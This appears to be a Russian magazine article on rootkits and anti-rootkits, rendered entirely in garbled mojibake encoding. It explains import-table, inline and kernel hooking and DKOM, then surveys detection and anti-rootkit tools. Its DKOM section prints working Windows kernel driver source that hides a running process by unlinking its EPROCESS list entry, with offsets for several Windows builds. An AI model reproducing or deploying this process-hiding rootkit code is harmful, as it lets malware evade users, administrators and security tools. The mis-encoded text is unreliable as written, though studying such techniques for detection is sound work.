ÌÀØÈÍÍÎÃÎ ÊÎÄÀ ÏÐÎÃÐÀÌÌÛ 
È ÂÍÅÑÅÍÈÈ Â ÍÅÃÎ ÌÎÄÈÔÈÊÀÖÈÉ.

— ÌÎÄÈÔÈÖÈÐÓÞÙÈÅ ÒÀÁËÈÖÛ ÈÌÏÎÐÒÀ.

— ÌÎÄÈÔÈÖÈÐÓÞÙÈÅ ÌÀØÈÍÍÛÉ ÊÎÄ 
API-ÔÓÍÊÖÈÉ.

34 ÂÐÀÃ ÍÅÂÅÄÎÌ

40 ×ÈÒÀÉ ÏÎ ÐÓÊÀÌ

46 Â ÏÐßÒÊÈ Ñ ÁÎÍÄÎÌ

52 ÏÎÄ ÍÀÁËÞÄÅÍÈÅÌ

56 ÄÅÒÈ ØÏÈÎÍÎÂ

34/59

ÐÓÒÊÈÒÛ È ÀÍÒÈÐÓÒÊÈÒÛ — ÊÒÎ ÊÀÊ ÏÐÎÃÐÀÌÌÈÐÓÅÒ, 
È ÊÒÎ ÊÀÊ ÂÎÞÅÒ
ÐÓÒÊÈÒÛ Â ÍÀÑÒÎßÙÅÅ ÂÐÅÌß ßÂËßÞÒÑß ÄÎÑÒÀÒÎ×ÍÎ ÌÎÄÍÎÉ È ÏÎÏÓËßÐÍÎÉ
ÒÅÕÍÎËÎÃÈÅÉ. ÐÓÒÊÈÒ-ÌÀÑÊÈÐÎÂÊÓ ÏÐÈÌÅÍßÞÒ ÂÑÅÂÎÇÌÎÆÍÛÅ ÇËÎÂÐÅÄÛ 
È ØÏÈÎÍÑÊÈÅ ÏÐÎÃÐÀÌÌÛ. Â ÝÒÎÉ ÑÒÀÒÜÅ ÌÛ ÐÀÑÑÌÎÒÐÈÌ ÈÕ ÂÈÄÛ, ÏÎÊÎÂÛÐßÅÌÑß
Â ÈÕ ÈÑÕÎÄÍÎÌ ÊÎÄÅ È ÎÖÅÍÈÌ ÏÐÎÃÐÀÌÌÛ, ÏÐÈÇÂÀÍÍÛÅ Ñ ÍÈÌÈ ÁÎÐÎÒÜÑß 
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ðóòêèòû, ììîäèôèöèðóþùèå ììàøèííûé êêîä
ïîðàæàåìîé ïïðîãðàììû íå ïîëó÷èëè øèðîêîãî
ðàñïðîñòðàíåíèÿ. Èõ ïðèíöèï äåéñòâèÿ îñíîâàí
íà òîì, ÷òî âìåñòî ïåðåõâàòà API-ôóíêöèé ìîäè-
ôèöèðóåòñÿ ìàøèííûé êîä ïîðàæàåìîé ïðîãðàì-
ìû. Åñòåñòâåííî, ÷òî äëÿ ðåàëèçàöèè äàííîãî ìå-
òîäà ðàçðàáîò÷èê ðóòêèòà äîëæåí ïðåäâàðèòåëü-
íî èçó÷èòü ïîðàæàåìóþ ïðîãðàììó, âûáðàòü ìå-
ñòà äëÿ ìîäèôèêàöèè è âíåäðåíèÿ êîäà è ïîäãîòî-
âèòü ñèãíàòóðû, êîòîðûå âïîñëåäñòâèè ïîçâîëÿò
ðóòêèòó íàéòè íóæíûå ôðàãìåíòû ìàøèííîãî êî-
äà è ìîäèôèöèðîâàòü èõ. Äàííûé ìåòîä íåïðèìå-
íèì äëÿ ãëîáàëüíîãî ïåðåõâàòà, íî ñ óñïåõîì ìî-
æåò ïðèìåíÿòüñÿ äëÿ âíåäðåíèÿ ïåðåõâàò÷èêîâ â
íåêóþ çàðàíåå èçâåñòíóþ ïðîãðàììó.

ðóòêèòû, îîñíîâàííûå ííà ììîäèôèêàöèè òòà-
áëèöû èèìïîðòà. Ïî ñòàòèñòèêå, ýòî îäíà èç ñàìûõ
ðàñïðîñòðàíåííûõ ðàçíîâèäíîñòåé. Òåîðèþ è
ïðàêòè÷åñêèé ïðèìåð óñòàíîâêè ïîäîáíîãî ïåðåõ-
âàòà áûë â ñâîå âðåìÿ ïîäðîáíî îïèñàí â êíèãå
Ðèõòåðà. Ñóòü ìåòîäà ñâîäèòñÿ ê òîìó, ÷òî ó PE
èìååòñÿ òàáëèöà èìïîðòà, ñîäåðæàùàÿ àäðåñà ñòà-
òè÷åñêè èìïîðòèðóåìûõ ôóíêöèé. Ñëåäîâàòåëüíî,
ðóòêèò ìîæåò íàéòè ýòó òàáëèöó â ïàìÿòè, ïðîñìî-
òðåòü åå è ïîäìåíèòü àäðåñà èíòåðåñóþùèõ åãî
ôóíêöèé àäðåñàìè ñîáñòâåííûõ ïåðåõâàò÷èêîâ.

Íà ñõåìå ïîêàçàí ïðèíöèï äåéñòâèÿ ïîäîá-
íîãî ðóòêèòà. Íà ñòàäèè çàãðóçêè èñïîëíÿåìîãî
ôàéëà çàãðóç÷èê çàïîëíÿåò òàáëèöó èìïîðòà ïðà-
âèëüíûìè àäðåñàìè. Äàëåå âìåøèâàåòñÿ ðóòêèò è

ïîäìåíÿåò ðåàëüíûå àäðåñà ôóíêöèé àäðåñàì
ñâîèõ ïåðåõâàò÷èêîâ. Âàæíûì ìîìåíòîì ÿâëÿåòñÿ
ïåðåõâàò ôóíêöèé LoadLibrary è GetProcAddress èç
kernel32.dll — ãðàìîòíî ïîñòðîåííûé ðóòêèò îáÿ-
çàí ýòî ñäåëàòü äëÿ òîãî, ÷òîáû îòñëåæèâàòü çà-
ãðóçêó áèáëèîòåê è ïîäìåíÿòü àäðåñà ïåðåõâà÷åí-
íûõ ôóíêöèé â ìîìåíò èõ çàïðîñà. Îäíàêî àíàëèç
ìíîãèõ ïðîñòåéøèõ UserMode-ðóòêèòîâ ïîêàçûâà-
åò, ÷òî îíè ýòî íå äåëàþò è îãðàíè÷èâàþòñÿ èñ-
êëþ÷èòåëüíî ïðàâêîé òàáëèöû èìïîðòà. Ýòî, åñòå-
ñòâåííî, íåêîððåêòíî, íî â ïðîñòåéøåì ñëó÷àå ðà-
áîòàåò — íàïðèìåð, äëÿ ìàñêèðîâêè ïðîöåññà îò
øòàòíîãî òàñê-ìåíåäæåðà. Ïðè âûçîâå ñòàòè÷åñêè
èìïîðòèðóåìîé ôóíêöèè ïðîãðàììà ïðîñòî ïåðå-
äàñò óïðàâëåíèå ïî àäðåñó èç òàáëèöû èìïîðòà, à
â ñëó÷àå äèíàìè÷åñêîãî èìïîðòà ðóòêèò ïîäñóíåò
ïðîãðàììå àäðåñ ñâîåãî ïåðåõâàò÷èêà âìåñòî àä-
ðåñà ôóíêöèè. Ñëåäóåò ó÷èòûâàòü, ÷òî ïðè òàêîì
ïåðåõâàòå âñå ðàâíî îñòàåòñÿ âåðîÿòíîñòü òîãî,
÷òî ïðîãðàììà êàê-òî óõèòðèòñÿ óçíàòü ïðàâèëü-
íûé àäðåñ (îí ìîæåò áûòü îïðåäåëåí äî óñòàíîâêè
ïåðåõâàò÷èêîâ, ïîëó÷åí àíàëèçîì çàãîëîâêîâ áè-
áëèîòåê è ò.ï.). Ýòîãî íåäîñòàòêà ëèøåí ìåòîä ìî-
äèôèêàöèè ìàøèííîãî êîäà.

ðóòêèòû, îîñíîâàííûå ííà ììîäèôèêàöèè ììà-
øèííîãî êêîäà AAPI-ôôóíêöèé. Äàííûé ìåòîä äîñòà-
òî÷íî ïðîñò: îí îñíîâàí íà ìîäèôèêàöèè ìàøèí-
íîãî êîäà ïåðåõâàòûâàåìûõ ôóíêöèé â ïàìÿòè. 
Â ïðîñòåéøåì ñëó÷àå ìîäèôèêàöèÿ ñâîäèòñÿ ê çà-
ïèñè êîìàíäû JMP â íà÷àëå ôóíêöèè. 

Ïî ïðèíöèïó ðåàëèçàöèè ïîäðàçäåëÿåòñÿ íà
òðè ðàçíîâèäíîñòè:

1 Ìåòîä ïîäìåíû ïåðâûõ áàéò. Ýòî ñàìûé
ïðîñòîé è ñàìûé íåêîððåêòíûé ìåòîä, êîòîðûé
ñîñòîèò â ëîáîâîì êîïèðîâàíèè ïåðâûõ áàéò
(èìåííî áàéò, à íå êîìàíä) êîäà ôóíêöèè è çàïèñè
íà èõ ìåñòî ñîáñòâåííîãî êîäà. Îáû÷íî êîïèðóþò-
ñÿ ïåðâûå 5 áàéò, à íà èõ ìåñòî çàïèñûâàåòñÿ EB
xx xx xx xx — êîä êîìàíäû JMP. Äëÿ âûçîâà ïåðåõ-
âà÷åííîé ôóíêöèè ðóòêèò âûíóæäåí âîññòàíîâèòü
åå, âûçâàòü, à çàòåì îïÿòü ïðîïèñàòü ñâîé êîä â
íà÷àëî ôóíêöèè. Ýòî ìåäëåííî, êîðÿâî è ÷ðåâàòî
ãëþêàìè â ìíîãîïîòî÷íîì ïðèëîæåíèè.

2 Ìåòîä ïîäìåíû ïåðâûõ êîìàíä. Ýòîò ìå-
òîä àíàëîãè÷åí ïðåäûäóùåìó, íî íàìíîãî êîð-
ðåêòíåå. Îí ñîñòîèò â òîì, ÷òî ðóòêèò ïðèìåíÿåò
äèçàññåìáëåð äëèí êîìàíä, ÷òî ïîçâîëÿåò åìó âû-
äåëèòü íåñêîëüêî êîìàíä è ñêîïèðîâàòü èõ â áó-
ôåð. Ñêîïèðîâàííûå êîìàíäû äîïîëíÿþòñÿ êî-
ìàíäîé JMP íà ïåðâóþ íåïîâðåæäåííóþ êîìàíäó
ïåðåõâà÷åííîé API-ôóíêöèè, à çàíèìàåìîé áóôå-
ðîì ïàìÿòè âûñòàâëÿþòñÿ ôëàíãè PAGE_EXECU-
TE_READWRITE, ÷òî ïîçâîëÿåò èñïîëíÿòü ñîäåð-
æàùèéñÿ òàì êîä. Â ìîìåíò âûçîâà API-ôóíêöèè
óïðàâëåíèå ïåðåäàåòñÿ ïåðåõâàò÷èêó ðóòêèòà, à
îí, â ñâîþ î÷åðåäü, ìîæåò âûçâàòü ïåðåõâà÷åí-
íóþ ôóíêöèþ, ïåðåäàâ óïðàâëåíèå áóôåðó. Íà
ñõåìå ïîêàçàíî âíåäðåíèå êîäà â íà÷àëî ôóíê-
öèè, ýòî ñàìûé ðàñïðîñòðàíåííûé ìåòîä. Êðîìå
òîãî, êîä ìîæíî âíåäðèòü â êîíåö ôóíêöèè — òà-
êîé ìåòîä óäîáåí äëÿ ìàñêèðîâêè ïåðåõâàòà. Êîð-
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ðåêòíûé ðóòêèò äîëæåí íå ïðîñòî âûäåëÿòü è êî-
ïèðîâàòü êîìàíäû — îí åùå äîëæåí èçó÷àòü èõ è
ïðè íåîáõîäèìîñòè êîððåêòèðîâàòü îòíîñèòåëü-
íûå àäðåñà ñ ó÷åòîì íîâîãî ìåñòîïîëîæåíèÿ êî-
ïèðóåìûõ êîìàíä â ïàìÿòè.

3 Ìåòîä ñèãíàòóðíîãî âíåäðåíèÿ. Äàííûé ìå-
òîä îñíîâàí íà òîì, ÷òî ìíîãèå ñèñòåìíûå áèáëèî-
òåêè ïî÷òè íå ìåíÿþòñÿ îò âåðñèè ê âåðñèè. Ñëåäî-
âàòåëüíî, ðàçðàáîò÷èê ðóòêèòà ìîæåò âûáðàòü ëþ-
áîå ïîäõîäÿùåå ìåñòî äëÿ âíåäðåíèÿ ñâîåãî êîäà
è çàòåì äèíàìè÷åñêè èñêàòü åãî ïðè ïîìîùè ñèã-
íàòóð. Äàííûé ìåòîä ïîçâîëÿåò íå òîëüêî âíå-
äðÿòü êîä â ëþáóþ òî÷êó ôóíêöèè, íî è ïðîèçâî-
äèòü âìåøàòåëüñòâî â ðàáîòó ôóíêöèé áåç èõ ÿâíî-
ãî ïåðåõâàòà ïóòåì ïàò÷à ìàøèííîãî êîäà.

kernel-MMode ððóòêèòû ìåíåå ðàñïðîñòðàíåíû
(ïðèìåðíî íà 5-10 ðóòêèòîâ UserMode ïðèõîäèòñÿ
îäèí KernelMode), îäíàêî èõ âîçìîæíîñòè ãîðàçäî
øèðå. Ãëàâíûé ïëþñ ïîäîáíîãî ðóòêèòà — ãëî-
áàëüíîå âîçäåéñòâèå íà ñèñòåìó. Ïî ïðèíöèïó
äåéñòâèÿ, èõ ìîæíî êëàññèôèöèðîâàòü íà íåñ-
êîëüêî êàòåãîðèé:

1 Íà îñíîâå ïðàâêè àäðåñîâ â KiST. Ýòî ñà-
ìûé ðàñïðîñòðàíåííûé ìåòîä ïåðåõâàòà, ñâîäÿ-
ùèéñÿ ê ïîèñêó òàáëèöû KiST â ïàìÿòè è ïðàâêå
àäðåñà îäíîé èëè íåñêîëüêèõ ôóíêöèé. KiST ðàç-
ìåùåíà â SDT, àäðåñ êîòîðîé ýêñïîðòèðóåòñÿ
ÿäðîì, òàê ÷òî ýòî ïî÷òè äîêóìåíòèðîâàííûé ìå-
òîä ïåðåõâàòà. Îïèñàíèå ìåòîäèêè ïåðåõâàòà ñ
ïðèìåðàìè ìîæíî íàéòè â êíèãå Ñâåíà Øðàéáåðà
«Íåäîêóìåíòèðîâàííûå âîçìîæíîñòè Windows
2000».

2 Ìîäèôèêàöèÿ ìàøèííîãî êîäà ïåðåõâàòû-
âàåìûõ ôóíêöèé. Ìåòîä ïîëíîñòüþ àíàëîãè÷åí
ìîäèôèêàöèè ìàøèííîãî êîäà â UserMode.

3 Ïåðåõâàò âåêòîðà INT 2E è sysenter. Ïîäîá-
íûé ïåðåõâàò ïîçâîëÿåò ðàçîì âçÿòü âûçîâû âñåõ

ôóíêöèé ïîä êîíòðîëü, ÷òî áûâàåò óäîáíî äëÿ ãëî-
áàëüíîãî ìîíèòîðèíãà ñèñòåìû.

4 Äðàéâåð-ôèëüòð. Îñíîâàí íà ôèëüòðàöèè
IRP è ïðèìåíÿåòñÿ ÷àùå âñåãî äëÿ ìàñêèðîâêè
ôàéëîâ íà äèñêå. 

Â îñòàëüíîì (êðîìå ìåòîäà ïåðåõâàòà ôóíê-
öèè è ðàáîòû â Ring0) ôóíêöèîíèðîâàíèå Kernel-
Mode ðóòêèòà ïðèíöèïèàëüíî íå îòëè÷àåòñÿ îò Us-
erMode — âñå òîò æå ïåðåõâàò ôóíêöèè äëÿ ìîíè-
òîðèíãà åå ðàáîòû è ìîäèôèêàöèè âõîäíûõ ïàðà-
ìåòðîâ èëè ðåçóëüòàòîâ ðàáîòû ôóíêöèè.

DKOM, èèëè êêàê ççàìàñêèðîâàòüñÿ ááåç ïïåðåõ-
âàòîâ. DKOM-ðóòêèòû (DKOM  ðàñøèôðîâûâàåòñÿ
êàê Direct Kernel Object Manipulation) îñíîâàíû íà
òîì, ÷òî âìåñòî ïåðåõâàòà ôóíêöèé îíè ìàíèïóëè-
ðóþò îáúåêòàìè ÿäðà â ïàìÿòè. Ýòî ïîçâîëÿåò, â
÷àñòíîñòè, äîñòàòî÷íî ýôôåêòèâíî ìàñêèðîâàòü
çàïóùåííûå ïðîöåññû è çàãðóæåííûå áèáëèîòåêè.

Íàèáîëåå ïîïóëÿðíîé è èçâåñòíîé ðåàëèçà-
öèåé DKOM-òåõíîëîãèè ÿâëÿåòñÿ FU-ðóòêèò è åãî
ìíîãî÷èñëåííûå êëîíû. Ðàññìîòðèì ïîäðîáíåå
îäíó èç íàèáîëåå ïðîñòûõ çàäà÷ — ìàñêèðîâêó
ïðîöåññà. Ìàñêèðîâêà ïðîöåññà îñíîâàíà íà òîì,
÷òî äëÿ êàæäîãî èç çàïóùåííûõ ïðîöåññîâ â ñè-
ñòåìå ñóùåñòâóåò ñòðóêòóðà EPROCESS. Â ýòîé
ñòðóêòóðå èìååòñÿ äâà óêàçàòåëÿ — Flink è BLink, —
êîòîðûå óêàçûâàþò íà ïîñëåäóþùóþ è ïðåäûäó-
ùóþ ñòðóêòóðû, îáðàçóÿ äâóõñâÿçíûé ñïèñîê.
Ñòðóêòóðà EPROCESS çàâèñèò îò âåðñèè Win-
dows, ïîýòîìó äëÿ êîððåêòíîé ðàáîòû ñ íåé
íåîáõîäèìî ëèáî çàðàíåå çíàòü ñìåùåíèå èíòå-
ðåñóùèõ íàñ ïîëåé, ëèáî îïðåäåëÿòü èõ êàêèì-ëè-
áî ýâðèñòè÷åñêèì ìåòîäîì.  Ìû ïîéäåì ïðîñòûì
ïóòåì: îïðåäåëèì âìåùåíèÿ ïðè ïîìîùè îòëàä-
÷èêà WinDBG.

òî÷êà ââõîäà ââ ääðàéâåð 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT

pDriverObject, IN PUNICODE_STRING 

pusRegistryPath)

{

// Îïðåäåëåíèå ñìåùåíèÿ ïî BuildNumber

switch (*NtBuildNumber) {

case 2195: // Win 2k

ActiveProcessLinkOffset = 0xA0;

PIDOffset = 0x09C;

break;

case 2600: // Win XP

ActiveProcessLinkOffset = 0x88;

PIDOffset = 0x084;

break;

case 3790: // W2K3

ActiveProcessLinkOffset = 0x98;

PIDOffset = 0x094;

break;

default:

return STATUS_NOT_IMPLEMENTED;

}

PDEVICE_OBJECT DeviceObject = 

NULL;

NTSTATUS ntStatus;

UNICODE_STRING usDeviceNameUni-

codeString;

UNICODE_STRING usDeviceLink-

UnicodeString;

// Ïîäãîòîâêà Unicode-ñòðîê

RtlInitUnicodeString 

(&usDeviceNameUnicodeString,

L"\\Device\\DKOM_Demo");

RtlInitUnicodeString (&usDevice-

LinkUnicodeString,

L"\\DosDevices\\DKOM_DemoLink" );

// Ñîçäàíèå óñòðîéñòâà

ntStatus = IoCreateDevice 

(pDriverObject,

sizeof(DEVICE_OBJECT),

&usDeviceNameUnicodeString,

FILE_DEVICE_UNKNOWN,

0,

TRUE,

&DeviceObject);

// Âûõîä â ñëó÷àå îøèáêè ïðè 

ñîçäàíèè óñòðîéñòâà

if (!NT_SUCCESS(ntStatus)) {

return STATUS_UNSUCCESSFUL;

}

// Ñîçäàíèå ñèìâîëüíîé ññûëêè

ntStatus = IoCreateSymbolicLink 

(&usDeviceLinkUnicodeString,

&usDeviceNameUnicodeString );

if (!NT_SUCCESS(ntStatus)) {

IoDeleteDevice(DeviceObject);

return STATUS_UNSUCCESSFUL;

}

// Ïîäêëþ÷åíèå îáðàáîò÷èêîâ 

CREATE/CLOSE/CLEANUP

pDriverObject->MajorFunction 

[IRP_MJ_CLEANUP] = 

pDriverObject->MajorFunction 

[IRP_MJ_CREATE] = 

pDriverObject->MajorFunction 

[IRP_MJ_CLOSE] =

DispatchCreateCloseControl;

// Ïîäêëþ÷åíèå îáðàáîò÷èêà, 

îòâå÷àþùåãî çà âûãðóçêó äðàéâåðà

pDriverObject->DriverUnload = 

DriverUnload;

// Âîçâðàò ðåçóëüòàòà 

èíèöèàëèçàöèè

return STATUS_SUCCESS;

}

Òàêèì îáðàçîì, â ìîìåíò èíèöèàëèçàöèè äðàéâå-
ðà èäåò çàïîëíåíèå äâóõ ïåðåìåííûõ: ActivePro-
cessLinkOffset è PIDOffset. Ïåðåìåííàÿ ActivePro-
cessLinkOffset ñîäåðæèò ñìåùåíèå îò íà÷àëà
ñòðóêòóðû EPROCESS äî óêàçàòåëåé íà ïðåäûäó-
ùóþ/ïîñëåäóþùóþ ñòðóêòóðû, à PIDOffset — ñìå-
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ùåíèå ïîëÿ, õðàíÿùåãî PID ïðîöåññà. Åñëè ýòè
ñìåùåíèÿ íå óäàåòñÿ îïðåäåëèòü, òî ýòî îçíà÷àåò,
÷òî äðàéâåð çàãðóæàåòñÿ íà âåðñèè ñèñòåìû, äëÿ
êîòîðîé ìû íå çíàåì ñìåùåíèÿ. Çàòåì âûäàåòñÿ
êîä îøèáêè — è çàãðóçêà äðàéâåðà ïðåðûâàåòñÿ. Â
ñëó÷àå óñïåøíîãî îïðåäåëåíèÿ ñìåùåíèé äðàé-
âåð ïûòàåòñÿ ñîçäàòü óñòðîéñòâî è ñèìâîëüíóþ
ññûëêó è îñòàåòñÿ çàãðóæåííûì. Äàëåå íåîáõîäè-
ìî ïðåäóñìîòðåòü êîììóíèêàöèþ ìåæäó ïðîãðàì-
ìîé è äðàéâåðîì. Äëÿ ýòîãî äðàéâåðó íåîáõîäèìî,
êàê ìèíèìóì, ðåàãèðîâàòü íà IRP_MJ_CREATE,
IRP_MJ_CLOSE, IRP_MJ_CLEANUP äëÿ òîãî, ÷òî-
áû ïðèëîæåíèå ìîãëî îòêðûòü äðàéâåð. Äàëåå â
ðåàëüíîì ïðèìåðå íåîáõîäèìî îáðàáàòûâàòü
IRP_MJ_DEVICE_CONTROL è âûïîëíÿòü ïåðåäà-
âàåìûå ñ åãî ïîìîùüþ êîäû óïðàâëåíèÿ. Òàê êàê
ìû äåëàåì äåìîíñòðàöèîííûé ïðèìåð, òî ìîæíî
íå çàìîðà÷èâàòüñÿ ñ ïåðåäà÷åé êîìàíä äðàéâåðó
ïðè ïîìîùè IRP — íàø äðàéâåð ðåàëèçóåò åäèí-
ñòâåííóþ ôóíêöèþ, ïîçâîëÿþùóþ çàìàñêèðîâàòü
ïðîöåññ ïî åãî PID. Ïîýòîìó ìîæíî óïðîñòèòü
äðàéâåð: çàìàñêèðîâàòü ëþáîé ïðîöåññ, êîòîðûé
ïîïûòàåòñÿ îòêðûòü ñîçäàííóþ äðàéâåðîì ñèì-
âîëüíóþ ññûëêó. Â ýòîì ñëó÷àå îáðàáîò÷èê áóäåò
èìåòü âèä:

Îáðàáîò÷èê ñîáûòèé îòêðûòèÿ/

çàêðûòèÿ/î÷èñòêè

NTSTATUS DispatchCreateCloseControl 

(PDEVICE_OBJECT pDeviceObject,

PIRP pIrp)

{

PIO_STACK_LOCATION pisl;

// Ïîëó÷àåì ðàçìåùåíèå IRP-ñòåêà

pisl = IoGetCurrentIrpStackLocation 

(pIrp);

// Ìàñêèðóåì ïðîöåññ

if (pisl->MajorFunction == IRP_MJ_CREATE)

HideProcessByPID((DWORD)

PsGetCurrentProcessId());

// Çàâåðøàåì IRP-çàïðîñ

pIrp->IoStatus.Status = STATUS_SUCCESS;

pIrp->IoStatus.Information = 0;

IoCompleteRequest 

(pIrp, IO_NO_INCREMENT);

return STATUS_SUCCESS;

}

Â äàííîì ñëó÷àå ïðè ïîëó÷åíèè IRP_MJ_CREATE
ïðîèçâîäèòñÿ îïðåäåëåíèå PID òåêóùåãî ïðîöåññà
è åãî ìàñêèðîâêà. Ñàìà ôóíêöèÿ ìàñêèðîâêè ïðî-
öåññà êðàéíå ïðîñòà:

VOID HideProcessByPID(int PID) 

{

DbgPrint("Hide process. PID=%u", PID);

KIRQL OldIRQL = 

KeRaiseIrqlToDpcLevel();

PEPROCESS CurrentProcess = 

PsGetCurrentProcess(); 

if (!CurrentProcess) return;

PLIST_ENTRY CurrentProcessAPL =

(PLIST_ENTRY)((ULONG)

CurrentProcess +

ActiveProcessLinkOffset);

PLIST_ENTRY ProcessAPL = 

CurrentProcessAPL;

ULONG ProcessPID;

do {

ProcessPID = *(PULONG)

((ULONG)ProcessAPL –

ActiveProcessLinkOffset 

+ PIDOffset);

DbgPrint("%u", ProcessPID);

if (ProcessPID == PID) {

ProcessAPL->Flink->Blink = 

ProcessAPL->Blink;

ProcessAPL->Blink->Flink = 

ProcessAPL->Flink;

DbgPrint("Process %u found and 

hidden", ProcessPID);

break;

}

ProcessAPL = ProcessAPL -> Flink;

} while (ProcessAPL != 

CurrentProcessAPL);

KeLowerIrql(OldIRQL);

}

Ýòà ôóíêöèÿ ïîâûøàåò ïðèîðèòåò ïåðåä íà÷àëîì
ðàáîòû — ýòî íåîáõîäèìî äëÿ çàùèòû îò ìàëîâå-
ðîÿòíîé, íî òåîðåòè÷åñêè âîçìîæíîé ñèòóàöèè —
çàâåðøåíèè îäíîãî èç ïðîöåññîâ âî âðåìÿ ðàáîòû
öèêëà îáõîäà ñòðóêòóð EPROCESS. Ìàñêèðîâêà
ñâîäèòñÿ ê òîìó, ÷òî ïðè ïîìîùè ôóíêöèè PsGet-
CurrentProcess() ìû ïîëó÷àåì óêàçàòåëü EPRO-
CESS òåêóùåãî ïðîöåññà. Äàëåå ìû ïðîèçâîäèì
îáõîä öåïî÷êè ñòðóêòóð EPROCESS äî äîñòèæåíèÿ
îäíîãî èç äâóõ ñîáûòèé — îáíàðóæåíèÿ EPRO-
CESS ìàñêèðóåìîãî ïðîöåññà èëè çàâåðøåíèÿ îá-
õîäà âñåé öåïî÷êè è âîçâðàòà ê åå íà÷àëó. Ïðè îá-
íàðóæåíèè èíòåðåñóþùåé íàñ EPROCESS- ñòðóê-
òóðû ìû ïðîñòî èñêëþ÷àåì åå èç öåïî÷êè, ïåðå-
êëþ÷àÿ óêàçàòåëè Flink è Blink â îáõîä. Ðàññìî-
òðåííàÿ ôóíêöèÿ óíèâåðñàëüíà, íî äëÿ íàøåãî
ñëó÷àÿ èçáûòî÷íà: ìû ìàñêèðóåì òåêóùèé ïðî-
öåññ, ïîýòîìó èñêàòü, ñîáñòâåííî, íè÷åãî íå íóæ-
íî, òàê êàê íåîáõîäèìóþ ññûëêó íàì äàåò PsGet-
CurrentProcess(). Ñ ó÷åòîì ýòîãî ìîæíî óïðîñòèòü
ôóíêöèþ:

VOID HideCurrentProcess() 

{

KIRQL OldIRQL = 

KeRaiseIrqlToDpcLevel();

PEPROCESS CurrentProcess = 

PsGetCurrentProcess(); 

if (!CurrentProcess) return;

PLIST_ENTRY ProcessAPL = 

(PLIST_ENTRY)((ULONG)CurrentProcess + 

ActiveProcessLinkOffset);

ProcessAPL->Flink->Blink = 

ProcessAPL->Blink;

ProcessAPL->Blink->Flink = 

ProcessAPL->Flink;

KeLowerIrql(OldIRQL);

}

Âîçíèêàåò âîïðîñ: ìîæíî ëè íàéòè çàìàñêèðîâàí-
íûé òàêèì îáðàçîì ïðîöåññ? Äëÿ äàííîãî ïðèìåð
îòâåò îäíîçíà÷åí — ìîæíî! Èçâåñòíî íåñêîëüêî
íàèáîëåå ðàñïðîñòðàíåííûõ ìåòîäà ïîèñêà:  

1 Ìåòîä «ëîáîâîãî ïåðåáîðà». Ñâîäèòñÿ 
ê öèêëó ïåðåáîðà PID îò íóëÿ äî íåêîåãî áîëüøîãî
÷èñëà ñ ïîïûòêîé îòêðûòü ïðîöåññ èëè ïîëó÷èòü
ñïèñîê åãî áèáëèîòåê ïî PID. Ìåòîä áóäåò ðàáî-
òàòü, íî åãî êîðÿâîñòü îñòàâèì áåç êîììåíòàðèåâ.

2 Ìåòîä «êîñâåííûõ ïðèçíàêîâ». Ñâîäèòñÿ
ê òîìó, ÷òî, ê ïðèìåðó, ìîæíî íàéòè îòêðûòûå
ïðîöåññîì õåíäëû, îáíàðóæèòü õåíäë ïðîöåññà
ñðåäè ïðèíàäëåæàùèõ csrss.exe-õåíäëîâ ïðî-
öåññîâ, íàéòè ïðèíàäëåæàùèå ïðîöåññó îêíà è
ò.ï. Åñòåñòâåííî, ðàçðàáîò÷èêè ðóòêèòîâ ìîãóò
áîðîòüñÿ ñ ýòèì.

3 Ìåòîä «ìîíèòîðèíãà API». Ýòîò ìåòîä ñâî-
äèòñÿ ê òîìó, ÷òî ñêðûòûé ïðîöåññ äîëæåí ÷òî-òî
äåëàòü. Ñëåäîâàòåëüíî, îòñëåæèâàÿ âñå îïåðà-
öèè â ñèñòåìå  ìîæíî îáíàðóæèòü àêòèâíîñòü
ïðîöåññà-íåâèäèìêè.

4 Ìåòîä «ìîíèòîðèíãà çàïóñêà». Ñâîäèòñÿ ê
óñòàíîâêå äðàéâåðà, êîòîðûé ïðîïèñàí êàê BOOT,
è ñ ìîìåíòà çàãðóçêè ìîíèòîðèò çàïóñê è çàâåð-
øåíèå ïðîöåññîâ.

Äëÿ æåëàþùèõ ïîýêñïåðèìåíòèðîâàòü 
ñ ïîèñêîì ñêðûòûõ ïðîöåññîâ ìîãó ïîðåêîìåí-
äîâàòü óòèëèòó Process Hunter (àâòîð — Ms-Rem,
http://www.wasm.ru/pub/21/files/phunter.rar) è ñòàòüþ
«Îáíàðóæåíèå ñêðûòûõ ïðîöåññîâ», êîòîðóþ
ìîæíî íàéòè íà wasm.ru, à äëÿ æåëàþùèõ ïî-
ãëóáæå èçó÷èòü ìàñêèðîâêó ïî DKOM-ìåòîäèêå 
ÿ ñîâåòóþ ïîêîïàòüñÿ â èñõîäíèêà FU Rootkit ïî-
ñëåäíåé âåðñèè.

àíòèðóòêèòû. Èòàê, ìû ïîãîâîðèëè î òåõíî-
ëîãèè ðóòêèòîâ — òåïåðü íóæíî âñïîìíèòü ïðî àí-
òèðóòêèòû. Âñå àíòèðóòêèòû ìîæíî ðàçäåëèòü íà
äâå êàòåãîðèè:

1 Äåòåêòîðû. Çàäà÷à òàêîé ïðîãðàììû — îá-
íàðóæåíèå ñëåäîâ ïðèñóòñòâèÿ ðóòêèòà â ñèñòåìå.

2 Äåòåêòîðû-íåéòðàëèçàòîðû. Ïðîãðàììû
äàííîãî êëàññà íå ïðîñòî äåòåêòèðóþò íàëè÷èå
ïåðåõâàòà èëè ìîäèôèêàöèé ìàøèííîãî êîäà, íî
è îáëàäàþò ñïîñîáíîñòüþ ê àêòèâíîìó ïðîòèâî-
äåéñòâèþ. Ïðîòèâîäåéñòâèå ìîæåò ñâîäèòüñÿ 
ê âîññòàíîâëåíèþ ìîäèôèöèðîâàííîé ðóòêèòîì
òàáëèöû èìïîðòà è KiST è âîññòàíîâëåíèþ ìîäè-
ôèöèðîâàííîãî ìàøèííîãî êîäà. Ïðîãðàììû ýòî-
ãî êëàññà ÿâëÿþòñÿ «ïàëêîé î äâóõ êîíöàõ», ïî-
ñêîëüêó âñå èçâåñòíûå íà äàííûé ìîìåíò àíòè-
ðóòêèòû íå ðàçëè÷àþò «õîðîøèå» è «ïëîõèå» ïå-
ðåõâàòû. Â ðåçóëüòàòå àíòèðóòêèò ìîæåò çàïðî-
ñòî îòêëþ÷èòü àíòèâèðóñíûé ìîíèòîð èëè ïðîàê-
òèâíóþ çàùèòó
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AVZ íå ÿâëÿåòñÿ ñïå-
öèàëèçèðîâàííûì àí-
òèðóòêèòîì, íî òåì íå
ìåíåå ñîäåðæèò ñðåä-
ñòâà ïîèñêà è íåéòðà-
ëèçàöèè îñíîâíûõ ðàç-
íîâèäíîñòåé ðóòêèòîâ:
